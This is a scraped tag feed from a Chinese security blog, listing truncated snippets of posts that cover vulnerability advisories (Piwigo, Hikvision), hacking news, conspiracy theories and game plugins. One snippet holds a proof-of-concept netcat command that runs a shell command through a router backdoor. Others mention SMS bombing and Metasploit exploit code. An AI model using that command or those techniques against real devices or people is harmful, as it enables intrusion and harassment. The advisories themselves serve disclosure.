https://lcx.cc/tags/cia/ Recent content in CIA on Nuclear'Atk（核攻击）网络安全实验室 Hugo -- gohugo.io zh-cn Nuclear'Atk（核攻击）网络安全实验室 Mon, 16 Mar 2015 14:49:42 +0800 https://lcx.cc/post/4502/ Mon, 16 Mar 2015 14:49:42 +0800 https://lcx.cc/post/4502/ Betster（又名PHP Betoffice）是一套用于创建基于PHP、MySQL和JavaScript的在线赌场软件。 Betster 1.0.4版本中存 https://lcx.cc/post/4446/ Sun, 16 Nov 2014 23:40:40 +0800 https://lcx.cc/post/4446/ Piwigo <= v2.6.0 - Blind SQL Injection -------------------------------------------------------------------------------- From: Manuel Garcia Cardenas <advidsec () gmail com> Date: Wed, 12 Nov 2014 09:56:22 +0100 -------------------------------------------------------------------------------- ============================================= MGC ALERT 2014-001 - Original release date: January 12, 2014 - Last revised: November 12, 2014 - Discovered by: Manuel García Cárdenas - Severity: 7,1/10 (CVSS Base Score) ============================================= I. VULNERABILITY ------------------------- Blind https://lcx.cc/post/4203/ Tue, 11 Feb 2014 09:38:47 +0800 https://lcx.cc/post/4203/ Hikvision IP Cameras Multiple Vulnerabilities Core Security - Corelabs Advisory http://corelabs.coresecurity.com/ 1. Advisory Information Title：Hikvision IP Cameras Multiple Vulnerabilities Advisory ID：CORE-2013-0708 Advisory URL：http://www.cor https://lcx.cc/post/4127/ Tue, 31 Dec 2013 14:47:52 +0800 https://lcx.cc/post/4127/ 正文： “起床了！快快，起床了鸟” 嘭嘭嘭嘭…一阵急促的敲门声把我从熟睡中惊醒。 头疼得厉害，左顾右盼的。这是哪里？翻身起来，重重拍打着脑门，努力 https://lcx.cc/post/4034/ Sat, 23 Nov 2013 11:10:46 +0800 https://lcx.cc/post/4034/ 目录 0x00 Flash CSRF名词解释 0x01 Flash CSRF形成的原因 0x02 Flash CSRF可以干些什么 0x03 Flash CSRF如何利用 0x04 Flash CSRF怎么防御 0x00 Flash CSRF名词解释 CSRF（ https://lcx.cc/post/4019/ Wed, 20 Nov 2013 11:00:00 +0800 https://lcx.cc/post/4019/ 钱就是债（一） 钱就是债（二） 钱就是债（三） 钱就是债（四） 钱就是债（五） 金钱就是债务 钱，MONEY AS DEBT，金钱就是债务，钱的本质和制造方法 https://lcx.cc/post/3982/ Mon, 04 Nov 2013 10:45:41 +0800 https://lcx.cc/post/3982/ 阴谋论：政府通过手机基站的电子精神控制 Hxai11 (http://www.itkuo.cn) | 2013-11-02 20:46 政府用精神控制技术将矛头指向你的这一天终于迫近了，而你的邻居和亲人都会涉入其中。在每一天，这 https://lcx.cc/post/3960/ Sat, 19 Oct 2013 11:20:13 +0800 https://lcx.cc/post/3960/ 同一个网站爆的，只需发送一个udp包，围观地址： http://www.devttys0.com/2013/10/from-china-with-love/ poc $ echo -ne "w302r_mfg\x00x/bin/ls" | nc -u -q 5 192.168.0.1 7329 drwxr-xr-x 2 0 0 1363 webroot drwxr-xr-x 1 0 0 0 var drwxr-xr-x 5 0 0 43 usr drwxr-xr-x 1 0 0 0 tmp drwxr-xr-x 2 0 0 3 sys drwxr-xr-x 2 0 https://lcx.cc/post/3883/ Tue, 17 Sep 2013 15:20:47 +0800 https://lcx.cc/post/3883/ “安全是一个整体，保证安全不在于强大的地方有多强大 而在于真正薄弱的地方在哪里”--剑心 从很多的渗透大型企业内网的案例来看，入侵者大多数是从W https://lcx.cc/post/3860/ Thu, 12 Sep 2013 10:33:42 +0800 https://lcx.cc/post/3860/ 短信炸弹，短信轰炸。 原理相当简单，就是利用各大网站的手机验证码（现在越来越多的网站要求手机注册了）功能，批量轰炸某个手机号码。 前几天搜集了一 https://lcx.cc/post/3757/ Wed, 24 Jul 2013 19:00:49 +0800 https://lcx.cc/post/3757/ 【Acfun：P2】用生命在唱歌の原版 【Acfun：P1】2013年最中毒舞曲-再見了 【Acfun：P3】D4NNY ft SICKICKMUSIC - Goodbye (Official Remix) 【优酷】视频 https://lcx.cc/post/3530/ Tue, 28 May 2013 09:05:50 +0800 https://lcx.cc/post/3530/ 谷歌被迫支付5亿美元和解费（TechWeb配图） 腾讯科技讯（瑞雪）北京时间5月26日消息，国外媒体近日刊载文章，讲述了职业骗子大卫·安东尼· https://lcx.cc/post/3495/ Tue, 14 May 2013 08:53:32 +0800 https://lcx.cc/post/3495/ 这种牛逼的劫持百度页面的脚本谁有~ 苦战 | 2013-05-11 17:28 百度框中输入直接输入www.dfnz.com.cn 点击进去，再看看你的搜索页面 http://www.baidu.com/s?wd=www.dfnz.com.cn 知道是http: https://lcx.cc/post/3463/ Tue, 30 Apr 2013 11:18:15 +0800 https://lcx.cc/post/3463/ 计算机在关闭之后，内存中储存的临时数据如登陆密码和银行账户是否会立即消失？希腊的研究人员发现，关机之后仍然能提取出内存的关键信息。内存主要用 https://lcx.cc/post/3128/ Tue, 04 Dec 2012 19:29:02 +0800 https://lcx.cc/post/3128/ 自由能源的承诺（720P高清版） 2009星际政治揭秘工程（巴塞罗那高峰会议） 星际政治揭秘工程 - 新能源的承诺 The.promis.of.New https://lcx.cc/post/2882/ Mon, 17 Sep 2012 09:59:04 +0800 https://lcx.cc/post/2882/ #log var addr msg "忽略所有异常" var iat1 var nextstop dbh //获得codebase ,codesize var cb var cs gmi eip,CODEBASE cmp $RESULT,0 je err mov cb,$RESULT gmi eip,CODESIZE cmp $RESULT,0 je err mov cs,$RESULT Check: //检查 PELock 1.0x -> Bartosz Wojcik 特征指纹 var temp mov temp,eip sub temp,5c https://lcx.cc/post/2696/ Thu, 19 Jul 2012 11:35:22 +0800 https://lcx.cc/post/2696/ CVE-2012-0175 Background Windows File Association allows an application to define a handler that should be called for each operation on a specific file type. For example, WinRAR registers the file type .RAR in the following manner: The Open action defined for this file type dictates how the handler should be called upon opening the file. The command that will be executed for this example of WinRAR is: "C:\Program Files\WinRAR\WinRAR.exe" "%1" https://lcx.cc/post/2559/ Wed, 06 Jun 2012 11:25:12 +0800 https://lcx.cc/post/2559/ 偶然间看到一份文档，内容如下： 802.11b Firmware-Level Attacks Mike Kershaw <dragorn@kismetwireless.net> Joshua Wright <jwright@hasborg.com> September 29, 2006 1 Abstract Denial of Service (DoS) attacks are a common threat to 802.11 wireless networks. Using widely available software and an inexpensive wireless LAN card, an attacker can halt the service of a wireless LAN at their whim. While very effective, these tools https://lcx.cc/post/2435/ Wed, 25 Apr 2012 13:02:08 +0800 https://lcx.cc/post/2435/   美国中央情报局CIA网站遭黑客组织袭击资料图 国际在线专稿：据英国《每日电讯报》4月23日报道，美国中央情报局（CIA）网站23日遭黑客组织 https://lcx.cc/post/2328/ Wed, 14 Mar 2012 15:10:34 +0800 https://lcx.cc/post/2328/ 意大利小城Falciano del Massico的市长因当地墓地不足下令禁止居民死亡(资料图) 国际在线专稿：据澳大利亚《每日电讯报》3月14日报道 https://lcx.cc/post/2305/ Wed, 07 Mar 2012 16:28:16 +0800 https://lcx.cc/post/2305/ 美国时间2012年03月06日上午，美国福克斯新闻网发布了一条独家爆炸性新闻！ LulzSec 领导人出卖了 Anonymous 所有人，匿名者组织集体灭团！ 独家：臭名昭著的国 https://lcx.cc/post/2177/ Mon, 30 Jan 2012 13:48:33 +0800 https://lcx.cc/post/2177/ L4D2: Lethal Weapon v2.1 求生之路2致命武器（电磁炮）插件 l4d2_lethal_weapon 插件源码 l4d2_lethal_weapon.sp l4d2_lethal_weapon.smx。求生之路2，l4d，l4d2，Source https://lcx.cc/post/1935/ Tue, 22 Nov 2011 10:12:00 +0800 https://lcx.cc/post/1935/ A Brief Overview on Satellite Hacking, By Anchises Moraes Guimarães de Paula, iDefense. Information Security, July 2010  I  HItb MagazIne 17. As a large portion of worldwide Internet users increasingly rely on satellite communication technologies to connect to the Web, a number of vulnerabilities within these connections actively expose satellites to potential attacks. The implications of such a successful attack are massive, as satellites are the only means of broadcasting https://lcx.cc/post/1875/ Wed, 02 Nov 2011 18:06:00 +0800 https://lcx.cc/post/1875/ 题目：Windows系统密码破解全攻略 作者：hackest [H.S.T.] 来源：hackest's blog 此文章已发表在《黑客X档案》2009年第6期杂志上 后经 https://lcx.cc/post/1792/ Sat, 24 Sep 2011 22:25:00 +0800 https://lcx.cc/post/1792/     Windows漏洞(MS11-071)，运行txt文本可中毒，微软急修“文本病毒”漏洞：https://lcx.cc/post/1787/ https://lcx.cc/post/1738/ Wed, 31 Aug 2011 03:00:00 +0800 https://lcx.cc/post/1738/     By：毅心毅意     下载地址：http://down.chinaz.com/soft/29982.htm add.php： <?php                  if($_POST['unum']==$_SESSION["randValid"]){                         $username=addslashes(htmlspecialchars($_POST['username']));                         $email=addslashes(htmlspecialchars($_POST['email']));                         $content=addslashes(htmlspecialchars($_POST['content']));                         $userip=$_SERVER["REMOTE_ADDR"];                         $ifqqh=$_POST["ifqqh"];                         if(empty($ifqqh)) $ifqqh=0;                         $systime=date("Y-m-d H:i:s");                         if(!empty($content) or !empty($username)){                         $ifshow=""; https://lcx.cc/post/1716/ Fri, 26 Aug 2011 20:42:00 +0800 https://lcx.cc/post/1716/     摘自微博     Ngnix出现高危漏洞，可远程执行代码：     Ngnix在遇到%00空字节时与后端FastCGI处理不一致，导致可以在图片中嵌入PH https://lcx.cc/post/1606/ Sun, 24 Jul 2011 16:32:00 +0800 https://lcx.cc/post/1606/ 在国外phpshell 里截取的 cmdshell都是用system（） 这些函数的基本禁用了 ----------------------------------------- exec popen system proc_open ............... 函数都已禁用 -------------------------------------------- 下面截个图吧 以下是引用片段 https://lcx.cc/post/1564/ Mon, 11 Jul 2011 13:42:00 +0800 https://lcx.cc/post/1564/ SEBUG-ID:20666 SEBUG-Appdir:Office Visio 发布时间:2011-06-26 测试方法: 本站提供程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!## # $Id: visio_dxf_bof.rb 13034 2011-06-26 16:09:53Z sinn3r $ ## ## https://lcx.cc/post/1535/ Sun, 03 Jul 2011 14:38:00 +0800 https://lcx.cc/post/1535/ （“鲁安组织”）可能就是希望通过这种方式，体现自己的活跃度，表达自己的思想以及自己对事物的认识，仅此而已吧。 ———“黑客教父”万涛 自5月7日 https://lcx.cc/post/1493/ Thu, 23 Jun 2011 11:38:00 +0800 https://lcx.cc/post/1493/ 小小年纪“黑”遍全球 新快报讯 据美国天空电视新闻网（SkyNews）22日报道，近日来横扫全球各大游戏公司的黑客案终于有了眉目：美国联邦调查局 https://lcx.cc/post/1357/ Mon, 23 May 2011 19:17:00 +0800 https://lcx.cc/post/1357/ By：追心 漏洞说明：     Mathew Callingham Associatess是一款基于PHP+MYSQL的内容管理系统，由于Mathew Callingham Associatess 3.x.x集成了fckedi https://lcx.cc/post/1047/ Wed, 29 Dec 2010 20:07:00 +0800 https://lcx.cc/post/1047/     http://backtrack.it/ 这个国外网站有视频演示过了的。     要期末开始了，虽然控制了整个学校的网络啥的，但是还是没弄到期末考试试题！于是就想通过邮箱来干掉老师的电脑 https://lcx.cc/post/741/ Sat, 09 Oct 2010 05:40:00 +0800 https://lcx.cc/post/741/     PHP htmlspecialchars() Html 编码函数详解，PHP htmlspecialchars() Html 编码函数，PHP htmlspecialchars() Html 编码详解，PHP htmlspecialchars() 编码函数详解，PHP htmlspecialchars() Html 编码，PHP htmlspecialchars() Html 详解，PHP htmlspecialchars() 编码函数，PHP https://lcx.cc/post/523/ Fri, 10 Sep 2010 14:32:00 +0800 https://lcx.cc/post/523/ Asp Url编码和解码(16进制编码和解码)： <% function urldecoding(vstrin) 'URl解码 'qiushuiwuhen(2002-6-19)     dim i,strreturn,strSpecial     strSpecial = "!""#$%&'()*+,/:;<=>?@[\]^`{|}~%" https://lcx.cc/post/399/ Wed, 11 Aug 2010 16:28:00 +0800 https://lcx.cc/post/399/ 在文件member/ special.php中： elseif($job=="show_iframe"){ //第126行 $rsdb=$db->get_one("SELECT * FROM {$pre}special WHERE uid='$lfjuid' AND id='$id'"); …… if($act=="del"&&$aid) //第155行 { $detail=explode(",",$rsdb[aids]); foreach( $detail AS $key=>$value){ if($value==$aid){ unset($detail[$key]); } } $rsdb[aids]=$string=implode(",",$detail); $db->query("UPDATE {$pre}special SET aids='$string' WHERE uid='$lfjuid' AND id='$id'"); $r https://lcx.cc/post/182/ Wed, 09 Jun 2010 18:33:00 +0800 https://lcx.cc/post/182/ --------------------------------------------- 当使用 Srcds.exe 开服务器时，玩家进入游戏会显示的“今日消息”和“全球排名”修改方法： 今日消息 默认内容：http://www.l4d.com/l4d